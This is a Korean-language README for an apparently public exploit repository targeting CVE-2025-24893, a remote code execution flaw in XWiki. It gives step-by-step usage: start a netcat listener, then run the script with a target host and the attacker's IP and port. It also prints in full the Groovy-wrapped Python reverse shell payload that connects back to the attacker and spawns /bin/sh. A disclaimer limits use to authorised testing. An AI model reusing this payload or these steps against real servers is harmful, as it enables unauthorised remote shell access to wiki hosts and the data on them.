CVE-2025-24893 XWiki RCE 익스플로잇

CVE-2025-24893를 익스플로잇하는 간단한 Python3 스크립트입니다. 이는 XWiki 플랫폼의 원격 코드 실행 취약점으로, Groovy 기반 비동기 매크로와 설정 가능한 리버스 셸 페이로드를 사용합니다.

⚠️ 경고: 이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다. 소유하지 않거나 명시적 허가 없이 시스템에 대해 무단 사용하는 것은 불법적이고 비윤리적입니다.

기능

✅ 대상이 HTTPS 또는 HTTP를 지원하는지 자동으로 감지합니다.
✅ Runtime.exec의 특이점을 피하기 위해 Groovy ProcessBuilder 스니펫을 구성합니다.
✅ XWiki async+groovy 매크로 페이로드를 URL 인코딩합니다.
✅ 설정 가능한 리버스 셸 (호스트 + 포트)
✅ HTTP 응답 코드를 출력하여 전달 확인을 돕습니다.

요구 사항

Python 3.6 이상
requests 라이브러리

pip install requests

설치

이 저장소를 클론합니다:

git clone https://github.com/hackersonsteroids/cve-2025-24893.git
cd cve-2025-24893

사용법

./exploit.py <TARGET_DOMAIN> <LHOST> <LPORT>

<TARGET_DOMAIN> XWiki 호스트 (예: wiki.example.local).
<LHOST> 공격자 머신의 IP (리스너가 실행 중인 곳).
<LPORT> 리스너 포트 (정수).

예시

머신에서 리스너를 시작합니다:

nc -lvnp 4444

익스플로잇을 실행합니다:

./exploit.py wiki.vulnerable.local 10.0.0.5 4444

성공하면 netcat 리스너에서 셸을 확인합니다.

감지 및 프로토콜 대체

페이로드를 보내기 전에 스크립트는 다음을 수행합니다:

https://<TARGET_DOMAIN> 시도
HTTPS 실패 시 http://<TARGET_DOMAIN>으로 대체
둘 다 연결할 수 없으면 종료

이는 혼합 프로토콜 배포와의 호환성을 보장하는 데 도움이 됩니다.

리버스 셸 페이로드

기본적으로 스크립트는 Python3 원라이너를 사용합니다:

new ProcessBuilder(
  ['/bin/bash','-c',
   'python3 -c \'import socket,subprocess,os;'
   's=socket.socket();s.connect(("LHOST",LPORT));'
   'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
   'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'']
).redirectErrorStream(true).start()

다른 셸이 필요한 경우 (예: Bash, Perl, PHP 등) build_payload() 함수를 수정할 수 있습니다.

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

면책 조항

이 도구는 승인된 보안 평가 및 교육 목적으로만 설계되었습니다. 저자는 오용에 대한 책임을 지지 않습니다. 대상 시스템을 테스트하기 전에 항상 명시적 허가를 받으십시오.

cve-2025-24893

인기